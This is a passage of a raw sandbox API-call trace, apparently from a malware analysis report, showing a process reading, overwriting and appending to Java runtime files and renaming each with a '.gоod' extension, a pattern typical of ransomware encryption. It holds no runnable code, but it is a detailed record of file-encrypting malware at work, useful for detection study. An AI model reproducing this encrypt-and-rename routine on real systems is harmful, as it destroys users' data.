dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.518] GetFileType (hFile=0x7dc) returned 0x1 [0107.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0107.518] GetFileType (hFile=0x7dc) returned 0x1 [0107.518] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0107.518] ReadFile (in: hFile=0x7dc, lpBuffer=0x3524750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x3524750*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0107.658] CloseHandle (hObject=0x7dc) returned 1 [0108.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", lpFilePart=0x0) returned 0x34 [0108.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0108.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0108.091] GetFileType (hFile=0x7c8) returned 0x1 [0108.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0108.091] GetFileType (hFile=0x7c8) returned 0x1 [0108.091] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1166a99 [0108.091] WriteFile (in: hFile=0x7c8, lpBuffer=0x34f4d38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x34f4d38*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0108.092] CloseHandle (hObject=0x7c8) returned 1 [0108.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", lpFilePart=0x0) returned 0x34 [0108.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0108.629] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0108.631] GetFileType (hFile=0x20c) returned 0x1 [0108.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0108.631] GetFileType (hFile=0x20c) returned 0x1 [0109.280] ReadFile (in: hFile=0x20c, lpBuffer=0x339b3f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x339b3f8*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0109.332] CloseHandle (hObject=0x20c) returned 1 [0109.332] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", lpFilePart=0x0) returned 0x34 [0109.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0109.332] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0109.332] GetFileType (hFile=0x20c) returned 0x1 [0109.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0109.332] GetFileType (hFile=0x20c) returned 0x1 [0109.332] WriteFile (in: hFile=0x20c, lpBuffer=0x32b51a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x32b51a0*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0109.332] CloseHandle (hObject=0x20c) returned 1 [0109.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", lpFilePart=0x0) returned 0x34 [0109.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.gоod", lpFilePart=0x0) returned 0x39 [0109.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0109.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d6092ec, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1166aa9)) returned 1 [0109.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0109.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.gоod")) returned 1 [0109.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", lpFilePart=0x0) returned 0x39 [0109.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0109.334] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), fInfoLevelId=0x0, lpFileInformation=0x3460af0 | out: lpFileInformation=0x3460af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21a46d)) returned 1 [0109.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0109.334] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", lpFilePart=0x0) returned 0x39 [0109.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0109.334] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0109.335] GetFileType (hFile=0x20c) returned 0x1 [0109.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0109.335] GetFileType (hFile=0x20c) returned 0x1 [0109.335] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0109.335] ReadFile (in: hFile=0x20c, lpBuffer=0x3460ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x3460ed8*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0109.336] CloseHandle (hObject=0x20c) returned 1 [0109.336] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", lpFilePart=0x0) returned 0x39 [0109.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0109.336] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0109.336] GetFileType (hFile=0x20c) returned 0x1 [0109.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0109.337] GetFileType (hFile=0x20c) returned 0x1 [0109.337] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x21a46d [0109.337] WriteFile (in: hFile=0x20c, lpBuffer=0x3462188*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x3462188*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0109.554] CloseHandle (hObject=0x20c) returned 1 [0109.554] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", lpFilePart=0x0) returned 0x39 [0109.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0109.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0109.555] GetFileType (hFile=0x20c) returned 0x1 [0109.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0109.555] GetFileType (hFile=0x20c) returned 0x1 [0109.555] ReadFile (in: hFile=0x20c, lpBuffer=0x3329060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x3329060*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0109.584] CloseHandle (hObject=0x20c) returned 1 [0109.584] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", lpFilePart=0x0) returned 0x39 [0109.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0109.584] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0109.584] GetFileType (hFile=0x20c) returned 0x1 [0109.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0109.584] GetFileType (hFile=0x20c) returned 0x1 [0109.584] WriteFile (in: hFile=0x20c, lpBuffer=0x3327dd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x3327dd0*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0109.585] CloseHandle (hObject=0x20c) returned 1 [0109.585] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar", lpFilePart=0x0) returned 0x39 [0109.585] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.gоod", lpFilePart=0x0) returned 0x3e [0109.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0109.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa8546b2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa8546b2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d86b85f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x21a47d)) returned 1 [0109.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0109.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.gоod")) returned 1 [0109.586] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", lpFilePart=0x0) returned 0x35 [0109.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0109.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), fInfoLevelId=0x0, lpFileInformation=0x33a5518 | out: lpFileInformation=0x33a5518*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5)) returned 1 [0109.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0109.586] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", lpFilePart=0x0) returned 0x35 [0109.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0109.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0109.586] GetFileType (hFile=0x20c) returned 0x1 [0109.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0109.586] GetFileType (hFile=0x20c) returned 0x1 [0109.586] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f49bbf8 | out: lpFileSizeHigh=0x1f49bbf8*=0x0) returned 0x5b5 [0109.586] ReadFile (in: hFile=0x20c, lpBuffer=0x33a5d28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb28, lpOverlapped=0x0 | out: lpBuffer=0x33a5d28*, lpNumberOfBytesRead=0x1f49bb28*=0x5b5, lpOverlapped=0x0) returned 1 [0109.747] CloseHandle (hObject=0x20c) returned 1 [0110.706] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", nBufferLength=0x105, lpBuffer=0x1f49b530, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", lpFilePart=0x0) returned 0x35 [0110.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ba50) returned 1 [0110.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0110.707] GetFileType (hFile=0x6e0) returned 0x1 [0110.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49b9c0) returned 1 [0110.707] GetFileType (hFile=0x6e0) returned 0x1 [0110.707] WriteFile (in: hFile=0x6e0, lpBuffer=0x386ecc8*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x1f49ba38, lpOverlapped=0x0 | out: lpBuffer=0x386ecc8*, lpNumberOfBytesWritten=0x1f49ba38*=0x5c0, lpOverlapped=0x0) returned 1 [0110.708] CloseHandle (hObject=0x6e0) returned 1 [0110.708] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index", lpFilePart=0x0) returned 0x35 [0110.708] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.gоod", lpFilePart=0x0) returned 0x3a [0110.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0110.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3e32610d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5c0)) returned 1 [0110.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0110.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.gоod")) returned 1 [0110.709] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", lpFilePart=0x0) returned 0x36 [0110.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0110.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), fInfoLevelId=0x0, lpFileInformation=0x386fef8 | out: lpFileInformation=0x386fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e)) returned 1 [0110.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0110.710] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", lpFilePart=0x0) returned 0x36 [0110.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0110.710] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0110.710] GetFileType (hFile=0x6e0) returned 0x1 [0110.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0110.720] GetFileType (hFile=0x6e0) returned 0x1 [0110.720] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0110.720] ReadFile (in: hFile=0x6e0, lpBuffer=0x38702c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x38702c0*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0111.223] CloseHandle (hObject=0x6e0) returned 1 [0111.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", lpFilePart=0x0) returned 0x36 [0111.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0111.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0111.312] GetFileType (hFile=0x7b4) returned 0x1 [0111.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0111.312] GetFileType (hFile=0x7b4) returned 0x1 [0111.312] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1edd4e [0111.313] WriteFile (in: hFile=0x7b4, lpBuffer=0x340ad20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x340ad20*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0111.314] CloseHandle (hObject=0x7b4) returned 1 [0111.314] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", lpFilePart=0x0) returned 0x36 [0111.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0111.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0111.314] GetFileType (hFile=0x7b4) returned 0x1 [0111.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0111.314] GetFileType (hFile=0x7b4) returned 0x1 [0111.314] ReadFile (in: hFile=0x7b4, lpBuffer=0x340cfe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x340cfe8*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0111.342] CloseHandle (hObject=0x7b4) returned 1 [0111.343] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar", lpFilePart=0x0) returned 0x36 [0111.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0111.343] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 